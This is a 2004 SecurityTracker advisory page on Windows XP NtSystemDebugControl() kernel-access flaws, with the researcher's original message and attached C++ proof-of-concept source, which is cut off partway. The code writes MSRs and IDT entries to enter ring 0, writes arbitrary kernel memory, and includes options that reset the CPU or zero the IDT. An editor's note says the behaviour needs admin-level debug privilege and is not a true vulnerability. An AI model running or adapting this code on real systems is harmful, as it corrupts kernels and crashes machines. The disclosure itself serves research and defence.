SecurityTracker.com
Keep Track of the Latest Vulnerabilities
with SecurityTracker!
    Home    |    View Topics    |    Search    |    Contact Us    |   

SecurityTracker
Archives


 
Sign Up
Sign Up for Your FREE Weekly SecurityTracker E-mail Alert Summary
Instant Alerts
Buy our Premium Vulnerability Notification Service to receive customized, instant alerts
Affiliates
Put SecurityTracker Vulnerability Alerts on Your Web Site -- It's Free!
Partners
Become a Partner and License Our Database or Notification Service
Report a Bug
Report a vulnerability that you have found to SecurityTracker
bugs
@
securitytracker.com






Category:   OS (Microsoft)  >   Windows Kernel Vendors:   Microsoft
Windows XP Kernel NtSystemDebugControl() Flaws Let Local Users With SeDebugPrivilege Execute Arbitrary Code in Kernel Mode
SecurityTracker Alert ID:  1009128
SecurityTracker URL:  http://securitytracker.com/id/1009128
CVE Reference:   GENERIC-MAP-NOMATCH   (Links to External Site)
Updated:  Feb 19 2004
Original Entry Date:  Feb 18 2004
Impact:   Execution of arbitrary code via local system, Root access via local system
Exploit Included:  Yes  
Version(s): Tested on Windows XP Pro SP1 with latest patches; Windows 2003 may also be affected
Description:   Several vulnerabilities were reported in the Windows XP kernel in some debugging functions. A local user with 'SeDebugPrivilege' rights can execute arbitrary code in kernel mode.

[Editor's note: A user has reported to us and the author of the original message has confirmed that a user with SeDebugPrivilege rights can, by the intended design of the associated privileges, modify the address space of arbitrary processes. As such, the behavior described below does not provide the user with any greater privileges than the user would already have. We will delete this entry from our database shortly.]

The flaws reportedly reside in the NtSystemDebugControl() function, which is exported by the ZwSystemDebugControl() function (in ntdll.dll). The NtSystemDebugControl() function reportedly executes in ring 0 (i.e., kernel mode).

It is reported that a local user with appropriate privileges can use the SYSENTER/SYSCALL instructions (via the NtSystemDebugControl() function) to write to the IA32_SYSENTER_EIP model specific register (MSR) and change the MSR to point to the user's arbitrary code.

It is also reported that a local user can modify an interrupt dispatch table (IDT) entry to point to the user's arbitrary code and then call an interrupt. A flaw in the read I/O sub-function of NtSystemDebugControl() reportedly fails to validate the pointers in the IO_STRUCT, so the kernel can be made to read from an I/O port (e.g., BIOS POST port 80h). The local user can first write to an I/O port and then use the exploit method to read the value and have the kernel write an arbitrary byte to an arbitrary address.

A similar vulnerability is reported in the DebugSysReadBusData() and DebugSysWriteBusData() functions, where the BUS_STRUCT values are not validated. A local user can call the hardware abstraction layer to cause the kernel to write an arbitrary byte to an arbitrary address.

Some demonstration exploit code is provided in the Source Message.

Impact:   A local user with the SeDebugPrivilege privilege can execute arbitrary code with kernel mode privileges to take full control of the system.
Solution:   [Editor's note: It is apparent that the described behavior does not qualify as a vulnerability for listing in our database. See the Description section for details. This entry will be deleted from our database shortly.]
Vendor URL:  www.microsoft.com/technet/security/ (Links to External Site)
Cause:   Access control error, Input validation error
Underlying OS:  

Message History:   None.


 Source Message Contents

Date:  Wed, 18 Feb 2004 22:15:20 +0000
Subject:  Multiple WinXP kernel vulns can give user mode programs kernel mode privileges


------=_NextPart_000_14b7_3400_6c97
Content-Type: text/plain; format=flowed

Multiple WinXP kernel vulns can give user mode programs kernel mode 
privileges

Summary
=======

There exist several vulnerabilities in one of Windows XP kernel's native API 
functions which allow any user with the SeDebugPrivilege privilege to 
execute arbitrary code in kernel mode, and read from and write to any memory 
address, including kernel memory.

Tested systems
==============

Windows XP Pro SP1 with latest patches

It's likely that Windows 2003 also is vulnerable.

Details
=======

ZwSystemDebugControl(), exported from ntdll.dll, calls a Windows operating 
system function NtSystemDebugControl(). This function is executed in ring 0 
(kernel mode) and is meant to be used by user mode debuggers having the 
SeDebugPrivilege privilege.

Vulnerability #1, enter ring 0 method #1 - SYSENTER/SYSCALL instrs:

This method writes to IA32_SYSENTER_EIP MSR by calling the kernel 
(NtSystemDebugControl()) and changing the MSR register to point to our code. 
Next time we execute the SYSENTER instruction, we're in ring 0 and have 
total control of the processor. Note that AMD processors may also support 
the SYSCALL instruction which behaves like SYSENTER and could also be used 
to enter ring 0.
<end vuln #1>

Vulnerability #2, enter ring 0 method #2 - I/O R/W kernel sub-funcs:

This method writes to kernel memory. Modify an (preferably unused) IDT entry 
with a pointer to your code and execute an INT n instruction. 
Method1_WriteMemByte() uses a bug in the read I/O sub-function of 
NtSystemDebugControl(). The pointers in the IO_STRUCT aren't checked and we 
can exploit this bug to write to kernel memory. Since the kernel reads from 
an I/O port, we must first control the I/O port's value. This is easy since 
every PC has a BIOS POST port 80h. This is an 8-bit read/write port used by 
the BIOS during POST. If we first write to it, and then later read it, we 
can make the kernel write any byte to any address.
<end vuln #2>

Vulnerability #3, enter ring 0 method #3 - bus R/W kernel sub-funcs:

Same as Method #2 only using DebugSysReadBusData/DebugSysWriteBusData 
sub-functions which will call the HAL to read and write bus data. The 
pointer in the BUS_STRUCT is not verified to be pointing to user data before 
calling the HAL and we can exploit this bug to write to the IDT and get ring 
0 access. This method uses CMOS index 0Eh as our controllable byte.
<end vuln #3>

Vulnerability #4, enter ring 0 method #4 - direct HW access:

Since the user mode program has direct hardware access, it can also read 
from and write to kernel memory with the help of hardware which can access 
the processor's RAM. Similar to methods #2 and #3 only more complex.
<end vuln #4>

I have attached source code to test for methods #1-#3 and a few other 
options to show what a user mode program can do. Run it with /test1, /test2, 
and /test3 command line options to test your system.

Impact
======

Any user with the SeDebugPrivilege privilege could execute arbitrary code as 
the kernel, and read from and write to any address the kernel can. The 
program can do anything to the computer the kernel can, eg. reprogram any 
computer hardware, such as the BIOS flash memory or patch the kernel in 
memory.

Since the user needs the SeDebugPrivilege, a privilege normally only given 
to administrators, to exploit these vulnerabilities, these are not serious 
vulnerabilities. The user is also normally an admin so he or she could 
easily install a device driver to become part of the kernel instead of 
exploiting these vulnerabilities.

Microsoft says it's OK for user mode programs to write to the kernel so long 
as you have the SeDebugPrivilege privilege, and will not fix anything.

Workaround
==========

Go to "Local Security Policy\ Security Settings\ Local Policies\ User Rights 
Assignments" and remove all users and groups from "Debug Programs" and 
restart your computer. Note that any malicious program with administrator 
rights could re-enable the SeDebugPrivilege privilege and wait for the next 
reboot and then gain kernel access. Thus this isn't a very good workaround 
if you always log on as the administrator.

_________________________________________________________________
Click, drag and drop. My MSN is the simple way to design your homepage. 
http://click.atdmt.com/AVE/go/onm00200364ave/direct/01/

------=_NextPart_000_14b7_3400_6c97
Content-Type: text/plain; name="xploit_dbg.cpp"; format=flowed
Content-Transfer-Encoding: 8bit
Content-Disposition: attachment; filename="xploit_dbg.cpp"

/*
* Discovered and coded Jan 25, 2004
* Copyright (C)2004 randnut@hotmail.com
*/

#include <windows.h>
#include <stdio.h>

typedef int NTSTATUS;
#define NTAPI __stdcall

const IA32_SYSENTER_CS = 0x174;
const IA32_SYSENTER_ESP = 0x175;
const IA32_SYSENTER_EIP = 0x176;

const SelCodeKernel = 0x8;
const CmosIndx = 0x0E;		// CMOS Diagnostic Status
const RdWrIoPort = 0x80;

#define FCHK(a) if (!(a)) {printf(#a " failed\n"); return 0;}
#define FCHK2(a,b) if (!(a)) {printf(#a " failed\n"); goto b;}

typedef enum _DEBUG_CONTROL_CODE {
	DebugSysReadIoSpace = 14,
	DebugSysWriteIoSpace = 15,
	DebugSysReadMsr = 16,
	DebugSysWriteMsr = 17,
	DebugSysReadBusData = 18,
	DebugSysWriteBusData = 19,
} DEBUG_CONTROL_CODE;

typedef struct _MSR_STRUCT {
	DWORD MsrNum;			// MSR number
	DWORD NotUsed;			// Never accessed by the kernel
	DWORD MsrLo;			// IN (write) or OUT (read): Low 32 bits of MSR
	DWORD MsrHi;			// IN (write) or OUT (read): High 32 bits of MSR
} MSR_STRUCT;

typedef struct _IO_STRUCT {
	DWORD IoAddr;			// IN: Aligned to NumBytes,I/O address
	DWORD Reserved1;		// Never accessed by the kernel
	PVOID pBuffer;			// IN (write) or OUT (read): Ptr to buffer
	DWORD NumBytes;			// IN: # bytes to read/write. Only use 1, 2, or 4.
	DWORD Reserved4;		// Must be 1
	DWORD Reserved5;		// Must be 0
	DWORD Reserved6;		// Must be 1
	DWORD Reserved7;		// Never accessed by the kernel
} IO_STRUCT;

// Copied from the Windows DDK
typedef enum _BUS_DATA_TYPE {
  ConfigurationSpaceUndefined = -1,
  Cmos,
  EisaConfiguration,
  Pos,
  CbusConfiguration,
  PCIConfiguration,
  VMEConfiguration,
  NuBusConfiguration,
  PCMCIAConfiguration,
  MPIConfiguration,
  MPSAConfiguration,
  PNPISAConfiguration,
  SgiInternalConfiguration,
  MaximumBusDataType
} BUS_DATA_TYPE, *PBUS_DATA_TYPE;

// See HalGetBusDataByOffset()/HalSetBusDataByOffset() for explanations of 
each field
typedef struct _BUS_STRUCT {
	ULONG  Offset;
	PVOID  Buffer;
	ULONG  Length;
	BUS_DATA_TYPE  BusDataType;
	ULONG  BusNumber;
	ULONG  SlotNumber;
} BUS_STRUCT;

typedef
NTSTATUS
(NTAPI *PZwSystemDebugControl)(
	DEBUG_CONTROL_CODE ControlCode,
    PVOID InputBuffer,
	ULONG InputBufferLength,
	PVOID OutputBuffer,
    ULONG OutputBufferLength,
	PULONG ReturnLength
	);

PZwSystemDebugControl ZwSystemDebugControl = NULL;

enum Ring0Method {
	Method1,
	Method2,
};

struct OldCpuState
{
	Ring0Method meth;
	MSR_STRUCT msr[3];
	DWORD AffinityMask;
	DWORD EFLAGS, CS, SS, OldIdtDesc[2];
};

void help()
{
	printf("Usage: name_of_program [option [option [...]]]\n");
	printf("/test1                            - test for SYSENTER vuln\n");
	printf("/test2                            - test for I/O write to mem 
vuln\n");
	printf("/test3                            - test for bus write to mem 
vuln\n");
	printf("/reset                            - reset CPU in ring 0\n");
	printf("/zeroidt                          - zero IDT (reboots PC)\n");
	printf("/wrmem <addr> <byte>              - write byte to mem\n");
	printf("/rdmsr <num>                      - read MSR\n");
	printf("/wrmsr <num> <hi> <lo>            - write MSR\n");
	printf("/rdio <port> <size>               - read I/O port\n");
	printf("/wrio <port> <size> <value>       - write I/O port\n");
	printf("/dump <addr> <size>               - dump memory from ring 0\n");
	exit(0);
}

int rdmsr(int MsrNum, MSR_STRUCT& msr)
{
	msr.MsrNum = MsrNum;
	return ZwSystemDebugControl(DebugSysReadMsr, &msr, sizeof(msr), NULL, 0, 
NULL) >= 0;
}

int wrmsr(int MsrNum, MSR_STRUCT& msr)
{
	msr.MsrNum = MsrNum;
	return ZwSystemDebugControl(DebugSysWriteMsr, &msr, sizeof(msr), NULL, 0, 
NULL) >= 0;
}

void PrintMsr(MSR_STRUCT& msr)
{
	printf("MSR %08X = %08X_%08X\n", msr.MsrNum, msr.MsrHi, msr.MsrLo);
}

int HasSysEnter()
{
	int retval = 0;

	__try
	{
		__asm
		{
			mov	eax,1
			cpuid
			shr	edx,12
			adc	retval,0
		}
	}
	__except (EXCEPTION_EXECUTE_HANDLER)
	{
	}

	return retval;
}

int SetProcessor(DWORD NewAffinityMask, DWORD* pOldAffinityMask)
{
	DWORD tmp;

	FCHK(!pOldAffinityMask || GetProcessAffinityMask(GetCurrentProcess(), 
pOldAffinityMask, &tmp));
	FCHK(SetProcessAffinityMask(GetCurrentProcess(), NewAffinityMask));

	return 1;
}

/*
* Returns < 0 on error. If ppAddr != NULL, returns 0x100 on success.
* If ppAddr == NULL, returns byte read on success.
*/
int CmosRead(int offs, BYTE** ppAddr = NULL)
{
	BYTE buf;
	BUS_STRUCT bus;

	bus.BusDataType = Cmos;
	bus.BusNumber = 0;
	bus.SlotNumber = offs;
	bus.Buffer = ppAddr ? *ppAddr : &buf;
	bus.Offset = 0;
	bus.Length = 1;

	if (ZwSystemDebugControl(DebugSysReadBusData, &bus, sizeof(bus), NULL, 0, 
NULL) < 0)
		return -1;
	else
		return ppAddr ? 0x100 : buf;
}

/*
* Returns 0 on failure, 1 on success
*/
int CmosWrite(int offs, BYTE val, BYTE** ppAddr = NULL)
{
	BUS_STRUCT bus;

	bus.BusDataType = Cmos;
	bus.BusNumber = 0;
	bus.SlotNumber = offs;
	bus.Buffer = ppAddr == NULL ? &val : *ppAddr;
	bus.Offset = 0;
	bus.Length = 1;

	return ZwSystemDebugControl(DebugSysWriteBusData, &bus, sizeof(bus), NULL, 
0, NULL) >= 0;
}

/*
* Write a byte to any location by exploiting another bug in the kernel. This 
function
* uses DebugSysWriteIoSpace and DebugSysReadIoSpace to write the byte to any 
address.
* This code must execute in ring 3.
*/
int Method1_WriteMemByte(DWORD MemAddr, BYTE Value)
{
	IO_STRUCT io;

	memset(&io, 0, sizeof(io));
	io.IoAddr = RdWrIoPort;
	io.pBuffer = &Value;
	io.NumBytes = 1;
	io.Reserved4 = 1;
	io.Reserved6 = 1;
	if (ZwSystemDebugControl(DebugSysWriteIoSpace, &io, sizeof(io), NULL, 0, 
NULL) < 0)
		return 0;

	memset(&io, 0, sizeof(io));
	io.IoAddr = RdWrIoPort;
	io.pBuffer = (PVOID)(ULONG_PTR)MemAddr;
	io.NumBytes = 1;
	io.Reserved4 = 1;
	io.Reserved6 = 1;
	if (ZwSystemDebugControl(DebugSysReadIoSpace, &io, sizeof(io), NULL, 0, 
NULL) < 0)
		return 0;

	return 1;
}

/*
* Read a byte from any location by exploiting another bug in the kernel. 
This function
* uses DebugSysWriteIoSpace and DebugSysReadIoSpace to read the byte from 
any address.
* This code must execute in ring 3.
*/
int Method1_ReadMemByte(DWORD MemAddr)
{
	BYTE Value;

	IO_STRUCT io;
	memset(&io, 0, sizeof(io));
	io.IoAddr = RdWrIoPort;
	io.pBuffer = (PVOID)(ULONG_PTR)MemAddr;
	io.NumBytes = 1;
	io.Reserved4 = 1;
	io.Reserved6 = 1;
	if (ZwSystemDebugControl(DebugSysWriteIoSpace, &io, sizeof(io), NULL, 0, 
NULL) < 0)
		return -1;

	memset(&io, 0, sizeof(io));
	io.IoAddr = RdWrIoPort;
	io.pBuffer = &Value;
	io.NumBytes = 1;
	io.Reserved4 = 1;
	io.Reserved6 = 1;
	if (ZwSystemDebugControl(DebugSysReadIoSpace, &io, sizeof(io), NULL, 0, 
NULL) < 0)
		return -1;

	return Value;
}

int CmosTest()
{
	int OldVal = CmosRead(CmosIndx);
	if (OldVal < 0)
		return 0;

	static int HasTested = 0;
	if (HasTested == 0)
	{
		HasTested = -1;

		if (!CmosWrite(CmosIndx, 0x55) || CmosRead(CmosIndx) != 0x55 ||
			!CmosWrite(CmosIndx, 0xAA) || CmosRead(CmosIndx) != 0xAA ||
			!CmosWrite(CmosIndx, (BYTE)OldVal))
		{
			printf("There's something wrong with your CMOS\n");
			return 0;
		}

		HasTested = 1;
	}
	else if (HasTested == -1)
		return 0;

	return 1;
}

/*
* Write a byte to any location by exploiting another bug in the kernel. This 
function
* uses DebugSysReadBusData and DebugSysWriteBusData to write the byte to any 
address.
* This code must execute in ring 3.
*/
int Method2_WriteMemByte(DWORD MemAddr, BYTE Value)
{
	if (!CmosTest())
		return 0;

	int OldVal = CmosRead(CmosIndx);
	if (OldVal < 0)
		return 0;

	BYTE* p = (BYTE*)(ULONG_PTR)MemAddr;
	if (!CmosWrite(CmosIndx, Value) || CmosRead(CmosIndx, &p) < 0 ||
		!CmosWrite(CmosIndx, OldVal))
		return 0;

	return 1;
}

/*
* Read a byte from any location by exploiting another bug in the kernel. 
This function
* uses DebugSysReadBusData and DebugSysWriteBusData to read the byte from 
any address.
* This code must execute in ring 3.
*/
int Method2_ReadMemByte(DWORD MemAddr)
{
	int OldVal, RetVal;

	if (!CmosTest())
		return -1;

	BYTE* p = (BYTE*)(ULONG_PTR)MemAddr;
	if ((OldVal = CmosRead(CmosIndx)) < 0 || !CmosWrite(CmosIndx, 0, &p) ||
		(RetVal = CmosRead(CmosIndx)) < 0 || !CmosWrite(CmosIndx, (BYTE)OldVal))
		return -1;

	return RetVal;
}

static int MemAccessMethType = -1;
int SetMemAccessMeth(int NewMeth)
{
	int old = MemAccessMethType;

	if (NewMeth == -1 || NewMeth == 1 || NewMeth == 2)
		MemAccessMethType = NewMeth;

	return old;
}

int WriteMemByte(DWORD MemAddr, BYTE Value)
{
	switch (MemAccessMethType)
	{
	case 1:
		return Method1_WriteMemByte(MemAddr, Value);

	case 2:
		return Method2_WriteMemByte(MemAddr, Value);

	case -1:
	default:
		return Method1_WriteMemByte(MemAddr, Value) || 
Method2_WriteMemByte(MemAddr, Value);
	}
}

int ReadMemByte(DWORD MemAddr)
{
	switch (MemAccessMethType)
	{
	case 1:
		return Method1_ReadMemByte(MemAddr);

	case 2:
		return Method2_ReadMemByte(MemAddr);

	case -1:
	default:
		int RetVal;
		if ((RetVal = Method1_ReadMemByte(MemAddr)) >= 0 ||
			(RetVal = Method2_ReadMemByte(MemAddr)) >= 0)
			(void)0 /* Nothing */;
		return RetVal;
	}
}

/*
* Tries to enter ring 0 by overwriting IA32_SYSENTER_EIP and executing 
SYSENTER.
* Returns 1 on success. If it returns 1, EFLAGS.IF=0.
*/
int Method1_EnterRing0(OldCpuState& old)
{
	old.meth = Method1;
	if (!HasSysEnter())
		return 0;

	FCHK(SetProcessor(1, &old.AffinityMask));
	FCHK2(rdmsr(IA32_SYSENTER_CS, old.msr[0]), cleanup);
	FCHK2(rdmsr(IA32_SYSENTER_ESP, old.msr[1]), cleanup);
	FCHK2(rdmsr(IA32_SYSENTER_EIP, old.msr[2]), cleanup);

	DWORD Ring0Addr;
	__asm
	{
		mov	Ring0Addr,offset ring0_addr
	}

	Sleep(100);	// A more reliable way is to block all interrupts through the 
PIC.

	MSR_STRUCT msr;
	if (old.msr[0].MsrLo == 0) // SYSENTER not enabled
	{
		// IMPORTANT:
		// I assume the OS sets up the GDT as follows:
		// base:ring0 code
		//		ring0 data
		//		ring3 code
		//		ring3 data
		// Will crash eventually if it's not setup that way
		msr.MsrLo = SelCodeKernel;
		msr.MsrHi = 0;
		FCHK2(wrmsr(IA32_SYSENTER_CS, msr), cleanup);
	}

	msr.MsrHi = 0;
	msr.MsrLo = Ring0Addr;
	FCHK2(wrmsr(IA32_SYSENTER_EIP, msr), cleanup2);	// Let's hope we won't get 
interrupted after this call

	__asm
	{
		mov		ecx,esp
		// Hmm, can't assemble SYSENTER or DB 0F,34
		jmp		short $+3
		mov		eax,9090340Fh
ring0_addr:
		mov		esp,ecx
		// Hot dog! :)
	}

	return 1;

cleanup2:
	if (old.msr[0].MsrLo == 0)
		wrmsr(IA32_SYSENTER_CS, old.msr[0]);
cleanup:
	FCHK(SetProcessor(old.AffinityMask, NULL));
	return 0;
}

/*
* Enters ring 3
*/
void Method1_LeaveRing0(OldCpuState& old)
{
	MSR_STRUCT* pmsr = &old.msr[0];
	__asm
	{
		mov		ebx,pmsr

		mov		ecx,[ebx]		// IA32_SYSENTER_CS
		mov		eax,[ebx+8]
		mov		edx,[ebx+0Ch]
		test	eax,eax
		jz		skip1
		wrmsr
skip1:

		mov		ecx,[ebx+10h]	// IA32_SYSENTER_ESP
		mov		eax,[ebx+10h+8]
		mov		edx,[ebx+10h+0Ch]
		wrmsr

		mov		ecx,[ebx+20h]	// IA32_SYSENTER_EIP
		mov		eax,[ebx+20h+8]
		mov		edx,[ebx+20h+0Ch]
		wrmsr

		mov		ecx,esp
		mov		edx,offset ring3_code
		// Hmm, can't assemble SYSEXIT or DB 0F,35
		jmp		short $+3
		mov		eax,90350FFBh
ring3_code:
	}
	if (old.msr[0].MsrLo == 0) // SYSENTER was not enabled
		wrmsr(old.msr[0].MsrNum, old.msr[0]);

	SetProcessor(old.AffinityMask, NULL);
}

/*
* Tries to enter ring 0 by telling the kernel to write to the IDT with bytes 
we control.
* Returns 1 on success. If it returns 1, EFLAGS.IF=0.
*/
int Method2_EnterRing0(OldCpuState& old)
{
	old.meth = Method2;
	FCHK(SetProcessor(1, &old.AffinityMask));

	DWORD Ring0Addr, EFLAGS, _CS, _SS;
	DWORD idt[2], idt_base, idt_limit;
	__asm
	{
		mov		Ring0Addr,offset ring0_addr
		sidt	idt+2
		movzx	eax,word ptr idt+2
		mov		idt_limit,eax
		mov		eax,idt+4
		mov		idt_base,eax
		pushfd
		pop		eax
		mov		EFLAGS,eax
		mov		word ptr _CS,cs
		mov		word ptr _SS,ss
	}
	old.EFLAGS = EFLAGS;
	old.CS = _CS;
	old.SS = _SS;

#define IntNum 0xFF

	if (IntNum*8 + 7 > idt_limit)
	{
		printf("ERROR: The interrupt number is outside the IDT. Change it and 
recompile.\n");
		goto cleanup;
	}

	BYTE* pOldIdtDesc = (BYTE*)&old.OldIdtDesc;
	for (int i = 0; i < 8; i++)
	{
		int SomeByte;
		FCHK2((SomeByte = ReadMemByte(idt_base + IntNum*8 + i)) >= 0, cleanup);
		*pOldIdtDesc++ = (BYTE)SomeByte;
	}

	DWORD IdtDesc[2];
	IdtDesc[0] = (SelCodeKernel << 16) | (Ring0Addr & 0xFFFF);
	IdtDesc[1] = (Ring0Addr & 0xFFFF0000) | 0xEE00;	// 32-bit interrupt gate, 
DPL3

	for (int i = 0; i < 8; i++)
		FCHK2(WriteMemByte(idt_base + IntNum*8 + i, *((BYTE*)&IdtDesc + i)), 
cleanup);

	__asm
	{
		xchg	esp,eax
		int		IntNum
ring0_addr:
		xchg	esp,eax
		// What do you know, it worked!
	}

	return 1;

cleanup:
	FCHK(SetProcessor(old.AffinityMask, NULL));
	return 0;
}

/*
* Enters ring 3
*/
void Method2_LeaveRing0(OldCpuState& old)
{
	DWORD idt[2];
	DWORD EFLAGS = old.EFLAGS;
	DWORD _CS = old.CS;
	DWORD _SS = old.SS;
	DWORD* pOldIdtDesc = &old.OldIdtDesc[0];
	__asm
	{
		sidt	idt+2
		mov		eax,idt+4
		mov		ecx,pOldIdtDesc
		mov		edx,[ecx]
		mov		ecx,[ecx+4]
		mov		[eax+IntNum*8],edx
		mov		[eax+IntNum*8+4],ecx

		mov		eax,esp
		push	_SS
		push	eax
		mov		eax,EFLAGS
		and		eax,not (1 shl 0Eh)
		push	eax
		push	_CS
		push	offset ring3_addr
		iretd
ring3_addr:
	}

	SetProcessor(old.AffinityMask, NULL);
}

int EnterRing0(OldCpuState& old)
{
	/*
	 * Method2 is safer than Method1
	 */
	return Method2_EnterRing0(old) || Method1_EnterRing0(old);
}

void LeaveRing0(OldCpuState& old)
{
	switch (old.meth)
	{
	case Method1:	Method1_LeaveRing0(old); break;
	case Method2:	Method2_LeaveRing0(old); break;
	default:		__asm jmp	short $
	}
}

int EnablePrivilege(HANDLE hToken, LPCSTR lpszName, int enable)
{
	TOKEN_PRIVILEGES tok;

	tok.PrivilegeCount = 1;
	tok.Privileges[0].Attributes = enable ? SE_PRIVILEGE_ENABLED : 0;

	FCHK(LookupPrivilegeValue(NULL, lpszName, &tok.Privileges[0].Luid));
	FCHK(AdjustTokenPrivileges(hToken, FALSE, &tok, sizeof(tok), NULL, NULL));

	return 1;
}

void PrintDelay(int secs)
{
	while (secs--)
	{
		printf("%d..", secs+1);
		Sleep(1000);
	}
	printf("NOW\n");
}

void PrintVulnMsg(int failed)
{
	if (!failed)
		printf("Your operating system is vulnerable to this exploit.\n");
	else
	{
		printf("If this user account has the SeDebugPrivilege privilege then 
your\n");
		printf("OS doesn't appear to be vulnerable.\n\n");
	}
}

DWORD ReadMem(DWORD MemAddr, void* buf, DWORD bufsz)
{
	if (!bufsz || !buf)
		return 0;

#if 0
/*
* Will crash XP if we read from non-present memory so don't use this code
*/
	BYTE* p = (BYTE*)buf;
	for (DWORD i = 0; i < bufsz; i++)
	{
		int SomeByte;
		if ((SomeByte = ReadMemByte(MemAddr++)) < 0)
			break;
		p[i] = (BYTE)SomeByte;
	}
	return i;
#else
	OldCpuState old;
	if (!EnterRing0(old))
		return 0;

	DWORD ret_val;
	__asm
	{
		sub		esp,8
		sidt	[esp+2]
		mov		ebx,[esp+4]
		add		esp,8
		push	dword ptr [ebx+0Eh*8]
		push	dword ptr [ebx+0Eh*8+4]

		mov		eax,offset xcpt_handler
		mov		[ebx+0Eh*8],eax
		mov		[ebx+0Eh*8+4],eax
		mov		word ptr [ebx+0Eh*8+4],8E00h
		mov		word ptr [ebx+0Eh*8+2],cs

		mov		ecx,bufsz
		mov		esi,MemAddr
		mov		edi,buf
		rep movsb
		jmp		skip_xcpt
xcpt_handler:
		add		esp,8
		popfd
		pop		eax
skip_xcpt:
		pop		dword ptr [ebx+0Eh*8+4]
		pop		dword ptr [ebx+0Eh*8]

		mov		eax,bufsz
		sub		eax,ecx
		mov		ret_val,eax
	}

	LeaveRing0(old);
	return ret_val;
#endif
}

int DumpMem(DWORD MemAddr, DWORD size)
{
	if (size == 0)
		return 1;
	if (MemAddr + size - 1 < MemAddr)
		return 0;

	DWORD OldMask;
	FCHK(SetProcessor(1, &OldMask));

	int ret = 1;
	const BytesPerLine = 16;
	while (size)
	{
		BYTE buf[BytesPerLine];
		DWORD addr = MemAddr - MemAddr % BytesPerLine;
		DWORD SizeRead = ReadMem(addr, buf, BytesPerLine);

		printf("%08X:", addr);
		for (int i = 0; i < BytesPerLine; i++)
		{
			if ((i & 3) == 0 && i != 0)
				printf("-");
			else
				printf(" ");
			if (addr < MemAddr || addr > MemAddr+size-1)
				printf("  ");
			else if ((DWORD)i >= SizeRead)
				printf("??");
			else
				printf("%02X", buf[i]);
			addr++;
		}
		printf(" ");

		addr = MemAddr - MemAddr % BytesPerLine;
		for (int i = 0; i < BytesPerLine; i++)
		{
			if (addr < MemAddr || addr > MemAddr+size-1)
				printf(" ");
			else if ((DWORD)i >= SizeRead)
				printf("?");
			else if (buf[i] >= 0x20 && buf[i] <= 0x7E)
				printf("%c", buf[i]);
			else
				printf(".");
			addr++;
		}
		printf("\n");

		size -= min(size, addr - MemAddr);
		MemAddr = addr;
	}

	SetProcessor(OldMask, NULL);
	return ret;
}

int main(int argc, char* argv[])
{
	HMODULE hNtdll;
	FCHK((hNtdll = LoadLibrary("ntdll.dll")) != NULL);
	FCHK((ZwSystemDebugControl = (PZwSystemDebugControl)GetProcAddress(hNtdll, 
"ZwSystemDebugControl")) != NULL);

	HANDLE hToken;
	FCHK(OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | 
TOKEN_QUERY, &hToken));
	FCHK(EnablePrivilege(hToken, SE_DEBUG_NAME, 1));

	for (int i = 1; i < argc; i++)
	{
		char* s = argv[i];
		if (*s != '/' && *s != '-')
			help();
		s++;

		if (!strcmp(s, "rdmsr") && i+1 < argc)
		{
			MSR_STRUCT msr;
			int num = strtoul(argv[++i], NULL, 0);
			if (rdmsr(num, msr))
				PrintMsr(msr);
			else
				printf("rdmsr(%08X) failed\n", num);
		}
		else if (!strcmp(s, "wrmsr") && i+3 < argc)
		{
			MSR_STRUCT msr;
			int num = strtoul(argv[++i], NULL, 0);
			msr.MsrHi = strtoul(argv[++i], NULL, 0);
			msr.MsrLo = strtoul(argv[++i], NULL, 0);
			if (!wrmsr(num, msr))
			{
				printf("wrmsr(%08X) failed\n", num);
				continue;
			}
			if (rdmsr(num, msr))
				PrintMsr(msr);
			else
				printf("rdmsr(%08X) failed\n", num);
		}
		else if (!strcmp(s, "rdio") && i+2 < argc)
		{
			IO_STRUCT io;
			memset(&io, 0, sizeof(io));
			DWORD Buffer;
			io.IoAddr = strtoul(argv[++i], NULL, 0);
			io.pBuffer = &Buffer;
			io.NumBytes = strtoul(argv[++i], NULL, 0);
			io.Reserved4 = 1;
			io.Reserved6 = 1;

			if (io.NumBytes != 1 && io.NumBytes != 2 && io.NumBytes != 4)
			{
				printf("Size must be 1, 2, or 4 bytes\n");
				continue;
			}
			if (ZwSystemDebugControl(DebugSysReadIoSpace, &io, sizeof(io), NULL, 0, 
NULL) < 0)
			{
				printf("Could not read I/O space\n");
				continue;
			}
			switch (io.NumBytes)
			{
			case 1: printf("0x%02X\n", (BYTE)Buffer); break;
			case 2: printf("0x%04X\n", (WORD)Buffer); break;
			case 4: printf("0x%08X\n", Buffer); break;
			default: printf("WTF\n"); break;
			}
		}
		else if (!strcmp(s, "wrio") && i+3 < argc)
		{
			IO_STRUCT io;
			memset(&io, 0, sizeof(io));
			DWORD Buffer;
			io.IoAddr = strtoul(argv[++i], NULL, 0);
			io.pBuffer = &Buffer;
			io.NumBytes = strtoul(argv[++i], NULL, 0);
			io.Reserved4 = 1;
			io.Reserved6 = 1;
			Buffer = strtoul(argv[++i], NULL, 0);

			if (io.NumBytes != 1 && io.NumBytes != 2 && io.NumBytes != 4)
			{
				printf("Size must be 1, 2, or 4 bytes\n");
				continue;
			}
			if (ZwSystemDebugControl(DebugSysWriteIoSpace, &io, sizeof(io), NULL, 0, 
NULL) < 0)
			{
				printf("Could not write to I/O space\n");
				continue;
			}
		}
		else if (!strcmp(s, "reset"))
		{
			OldCpuState old;
			printf("Will reset computer in...");
			PrintDelay(3);

			if (!EnterRing0(old))
			{
				printf("Could not enter ring 0\n");
				continue;
			}
			__asm
			{
				push	0
				lidt	[esp]
				pop		esp
				inc		esp
				push	esp
			}
			LeaveRing0(old);
			printf("WTF\n");
		}
		else if (!strcmp(s, "wrmem") && i+2 < argc)
		{
			DWORD MemAddr = strtoul(argv[++i], NULL, 0);
			BYTE Value = (BYTE)strtoul(argv[++i], NULL, 0);

			if (!WriteMemByte(MemAddr, Value))
			{
				printf("Could not write the byte\n");
				continue;
			}
		}
		else if (!strcmp(s, "zeroidt"))
		{
			DWORD OldMask;
			if (!SetProcessor(1, &OldMask))
			{
				printf("SetProcessor() failed\n");
				continue;
			}

			DWORD idt[2];
			int idt_size, idt_base;
			__asm
			{
				sidt	idt+2
				movzx	eax,word ptr idt+2
				mov		idt_size,eax
				mov		eax,idt+4
				mov		idt_base,eax
			}
			printf("Will start writing to IDT @ %08X in...", idt_base);
			PrintDelay(3);

			for (int j = 0; j <= idt_size; j++)
			{
				if (!WriteMemByte(idt_base + j, 0x00))
				{
					printf("Could not write the byte to address %08X\n", idt_base + j);
					break;
				}
			}
			if (j != 0)
